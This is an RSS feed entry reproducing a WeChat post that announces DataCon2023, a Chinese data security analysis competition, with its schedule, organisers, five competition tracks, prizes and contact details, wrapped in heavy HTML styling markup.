<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>奇安信ATEAM</title>
    <link>https://wechat2rss.xlab.app/feed/7e9f1ce42f56754f4a6bacb9a67385e48ca643fb.xml</link>
    <description>奇安信 A-TEAM团队&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (奇安信ATEAM)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5QH4QzEXGYprvFeMemwbEe7HWqjHlKKpWyqyofsPUMWA/0</url>
      <title>奇安信ATEAM</title>
      <link>https://wechat2rss.xlab.app/feed/7e9f1ce42f56754f4a6bacb9a67385e48ca643fb.xml</link>
    </image>
    <item>
      <title>报名开启 | DataCon2023再度升级，全新挑战等你来战！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483914&amp;idx=1&amp;sn=aa20b7e824caa8b27f3d973c2d173b12</link>
      <description>一年一度的数据安全分析盛宴，来了！DataCon2023战火重燃持续升级全新挑战10月19日报名开启11月0</description>
      <content:encoded><![CDATA[<p>
<span>DataCon2023</span> <span>2023-10-27 11:35</span> <span style="display: inline-block;">北京</span>
</p>

<p>一年一度的数据安全分析盛宴，来了！DataCon2023战火重燃持续升级全新挑战10月19日报名开启11月0</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=908edb52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7cIhbyziaE6m15XiapbUiczQe6WSRds1o4BIN1MburQdQqgwS3ERu0wEzqMcGwMvp9SUVbVTXwzuZFw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: justify;margin-left: 0px;margin-right: 0px;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-backh="325" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="325" data-galleryid="" data-ratio="0.562962962962963" data-s="300,640" style="font-size: var(--articleFontsize);letter-spacing: 0.578px;text-align: center;width: 100%;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a6b15581&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU6CUHMXV17rPjZhsnjjDybInDk6CDUWv5mG4GPmibRaWP8ce6rn81iaQdhf0wUOEY1icIbdRrlaodjLg%2F640%3Fwx_fmt%3Djpeg"/><br/></section><section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;"><section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;letter-spacing: 0.578px;"><section data-role="paragraph" data-color="#002060"><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">一年一度的<span style="color: rgb(0, 0, 0);">数据安全分析</span>盛宴，来了！</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong><span style="color: rgb(0, 32, 96);">DataCon2023</span></strong><span style="caret-color: red;">战火重燃</span></span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">持续升级</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">全新挑战</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">10月19日<strong><span style="color: rgb(0, 32, 96);">报名<span style="letter-spacing: 0.578px;text-wrap: wrap;">开启</span></span></strong></span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><span style="color: rgb(0, 0, 0);">11月06日18:00</span><strong><span style="color: rgb(0, 32, 96);">报名截止</span></strong></span><span style="letter-spacing: 0.578px;font-size: var(--articleFontsize);"></span></p><p style="text-align:center;"><br/></p><p style="text-align:center;"><span style="color: rgb(0, 32, 96);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>五年历程 不断升级</strong></span></p><p style="text-align:center;"><span style="color: rgb(0, 32, 96);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>数据沉淀 助力科研</strong></span></p><p style="text-align:center;"><span style="color: rgb(0, 32, 96);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>基于真实 主动防御</strong></span></p><p style="text-align:center;"><span style="color: rgb(0, 32, 96);font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>百万奖金 邀你来战</strong></span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060" style="margin-bottom: 0px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">DataCon2023赛事信息</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="margin-right: 5px;margin-bottom: 0px;margin-left: 5px;"><br/></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;"><p style="margin-right: 5px;margin-left: 5px;"><span style="color: rgb(0, 32, 96);"><strong><span style="font-size: 15px;letter-spacing: 0.578px;">指导单位：</span></strong></span><span style="font-size: 15px;letter-spacing: 0.578px;">中国通信学会数据安全委员会</span></p><p style="margin-right: 5px;margin-left: 5px;"><strong><span style="font-size: 15px;letter-spacing: 0.578px;color: rgb(0, 32, 96);">主办单位：­</span></strong><span style="font-size: 15px;letter-spacing: 0.578px;">奇安信集团、清华大学网络研究院、北京市大数据中心、蚂蚁集团、腾讯安全大数据实验室、Coremail、赛尔网络</span></p><p style="margin-right: 5px;margin-left: 5px;text-align: left;"><strong><span style="font-size: 15px;letter-spacing: 0.578px;color: rgb(0, 32, 96);">报名官网：</span></strong><span style="font-size: 15px;letter-spacing: 0.578px;color: rgb(0, 0, 0);"><a href="https://datacon.qianxin.com/datacon2023" target="_blank">https://datacon.qianxin.com/datacon2023</a></span><span style="font-size: 15px;letter-spacing: 0.578px;text-align: justify;"></span></p><p style="margin-right: 5px;margin-left: 5px;"><span style="color: rgb(0, 32, 96);"><strong><span style="font-size: 15px;letter-spacing: 0.578px;">赛程安排：</span></strong></span></p><p style="margin-right: 5px;margin-left: 5px;"><span style="color: rgb(0, 32, 96);"><strong><span style="font-size: 15px;letter-spacing: 0.578px;"><br/></span></strong></span></p></section><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;"><section data-tools="135编辑器" data-id="16"><section><section><strong style="font-size: var(--articleFontsize);"><span style="font-size: 15px;color: rgb(0, 32, 96);"></span></strong></section></section></section></section><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;"><section data-tools="135编辑器" data-id="102598" data-color="#002060"><section style="margin-top: 10px;margin-bottom: 10px;margin-left: 10px;"><section style="border-left: 1px solid rgb(0, 32, 96);"><section><section><section style="margin-left: -8px;display: flex;justify-content: flex-start;align-items: center;"><section style="padding: 3px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><section style="align-self: flex-start;width: 7px;height: 7px;border-radius: 100%;background: rgb(0, 32, 96);overflow: hidden;"><br/></section></section><section data-brushtype="text" style="padding-right: 1em;padding-left: 1em;font-size: 16px;color: rgb(0, 32, 96);letter-spacing: 1.5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>比赛报名</strong></span></section></section><section data-autoskip="1" style="margin-top: 1em;margin-left: 1em;padding: 5px 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><p><span style="letter-spacing: 1px;font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);">2023年10月19日10:00-11月6日18:00</span></p></section></section></section><section style="margin-top: 1em;"><section style="margin-top: 10px;"><section style="margin-left: -8px;display: flex;justify-content: flex-start;align-items: center;"><section style="padding: 3px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><section style="align-self: flex-start;width: 7px;height: 7px;border-radius: 100%;background: rgb(0, 32, 96);overflow: hidden;"><br/></section></section><section data-brushtype="text" style="padding-right: 1em;padding-left: 1em;font-size: 16px;color: rgb(0, 32, 96);letter-spacing: 1.5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>线上初赛</strong></span></section></section><section data-autoskip="1" style="margin-top: 1em;margin-left: 1em;padding: 5px 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><p><span style="letter-spacing: 1px;font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);">2023年11月7日10:00-11月16日18:00</span></p></section></section></section><section style="margin-top: 1em;"><section style="margin-top: 10px;"><section style="margin-left: -8px;display: flex;justify-content: flex-start;align-items: center;"><section style="padding: 3px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><section style="align-self: flex-start;width: 7px;height: 7px;border-radius: 100%;background: rgb(0, 32, 96);overflow: hidden;"><br/></section></section><section data-brushtype="text" style="padding-right: 1em;padding-left: 1em;font-size: 16px;color: rgb(0, 32, 96);letter-spacing: 1.5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>线上答辩</strong></span></section></section><section data-autoskip="1" style="margin-top: 1em;margin-left: 1em;padding: 5px 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><p><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);letter-spacing: 1px;text-wrap: wrap;">2023年</span>11月19日</span></p></section></section></section><section style="margin-top: 1em;"><section style="margin-top: 10px;"><section style="margin-left: -8px;display: flex;justify-content: flex-start;align-items: center;"><section style="padding: 3px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><section style="align-self: flex-start;width: 7px;height: 7px;border-radius: 100%;background: rgb(0, 32, 96);overflow: hidden;"><br/></section></section><section data-brushtype="text" style="padding-right: 1em;padding-left: 1em;font-size: 16px;color: rgb(0, 32, 96);letter-spacing: 1.5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong>颁奖典礼</strong></span></section></section><section data-autoskip="1" style="margin-top: 1em;margin-left: 1em;padding: 5px 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(0, 32, 96);background: rgb(242, 242, 242);"><p><span style="letter-spacing: 1px;font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);"><span style="letter-spacing: 1px;font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);text-wrap: wrap;">2023年</span>11月27日-11月30日 </span></p><p><span style="letter-spacing: 1px;font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 0, 0);">福建·福州(拟)</span><strong style="letter-spacing: 0.578px;color: rgba(0, 0, 0, 0.9);font-size: var(--articleFontsize);"></strong></p></section></section></section></section></section></section></section><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">DataCon2023赛道持续扩充</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><br/></p><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><span style="color: rgb(0, 32, 96);"><strong><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">非纯数据类比赛，没有标准答案，不固定赛道和模式，</span></strong></span><span style="color: rgb(0, 0, 0);"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这就是DataCon。</span></span><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">作为首个以数据安全分析为核心的竞赛，DataCon不忘初心，一直将竞赛、教学与科研三者紧密结合，以科研实战和企业需求出发，不断扩充赛道，着力培养实战型网络安全人才。</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;">DataCon2023再度升级，设置</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;color: rgb(0, 32, 96);"><strong>AI安全赛道(新)、漏洞分析赛道<strong style="color: rgb(0, 32, 96);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;"><strong style="color: rgb(0, 32, 96);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">(</strong>新<strong style="color: rgb(0, 32, 96);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">)</strong></strong>、软件安全赛道、邮件安全赛道、互联网威胁溯源赛道</strong></span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;">五大赛道，考察参赛选手在真实网络中的数据分析水平和解决安全问题的能力。</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">高质量学习资源助力备赛</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="margin-right: 5px;margin-bottom: 0px;margin-left: 5px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="letter-spacing: 0.578px;font-size: var(--articleFontsize);"></span><br/></p><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">在不断优化竞赛平台的同时，DataCon还为参赛选手提供了大量的备赛资源。在DataCon社区，可以轻松获取<strong><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 32, 96);">高质量数据集、历年赛题、往年冠军战队解题思路和学习视频</span></strong>。<span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">另外</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">，我们还将组织<span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">赛前</span></span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">专</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">题</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">培训。</span>复盘，总结，竞赛，答疑，助力参赛选手取得更好成绩。</span></p><p style="text-align: left;margin-right: 5px;margin-left: 5px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;">DataCon社区课程：<a href="https://datacon.qianxin.com/video/" target="_blank">https://datacon.qianxin.com/video/</a></span></p><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">百万级奖金等你挑战</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><br/></p><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">DataCon设置<span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 32, 96);"><strong>荣誉与奖金</strong></span>并重的奖励机制，设立团队奖和教师奖，更有漏洞挖掘赛道为奖金加持，根据提交的漏洞等级，奖励总额最高可达<strong><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 32, 96);">百万级</span></strong>。除奖金外，将会为各赛道前十名战队颁发“五周年纪念版”奖杯，优秀战绩也将展示在DataCon官方社区荣誉榜。(详情见官网)</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">汇聚数据安全分析领域优秀人才</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="margin-right: 5px;margin-bottom: 0px;margin-left: 5px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;"></span><br/></p><p style="margin-right: 5px;margin-bottom: 0px;margin-left: 5px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><span style="letter-spacing: 0.578px;">自2019年启动至今，</span>DataCon大数据安全分析竞赛诞生了众多“优秀解题思路”“冠军战队”“优秀选手”，见证了无数名参赛选手的成长。DataCon社区已汇聚超300所高校，200余企业，5000余战队共计近1.9万人次共同参与到数据安全分析的“战场<span style="letter-spacing: 0.578px;">”</span>中。</span><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;">对参赛选手来说，<span style="letter-spacing: 0.578px;">DataCon</span></span><strong><span style="color: rgb(0, 32, 96);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;letter-spacing: 0.578px;">不仅仅是一场比赛，更是一次技能提升、思路突破和学术研究之旅。</span></strong></p><p style="text-align:justify;margin-right: 5px;margin-left: 5px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">如有疑问请咨询</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p style="text-align:center;"><br/></p><section data-tools="135编辑器" data-id="94886"><section data-width="100%" style="width: 100%;"><section style="background: rgb(242, 242, 242);"><section data-autoskip="1" style="padding: 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);"><section style="line-height: 1.75em;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;">官方邮箱：DataCon@qianxin.com</span></section><section style="line-height: 1.75em;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;">官方微信公众号：DataCon大数据安全分析竞赛</span></section><section style="line-height: 1.75em;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;">官方QQ交流群：551364792</span></section></section></section><section style="margin-top: -18px;margin-right: 1em;text-align: right;"><section style="width: 4em;height: 4px;background: rgb(7, 44, 151);display: inline-block;overflow: hidden;"><br/></section></section></section></section><p style="text-align:center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="204" data-backw="204" data-cropselx1="1" data-cropselx2="212" data-cropsely1="0" data-cropsely2="212" data-galleryid="" data-ratio="1" data-s="300,640" style="width: 196px;height: 196px;" data-type="jpeg" data-w="400" 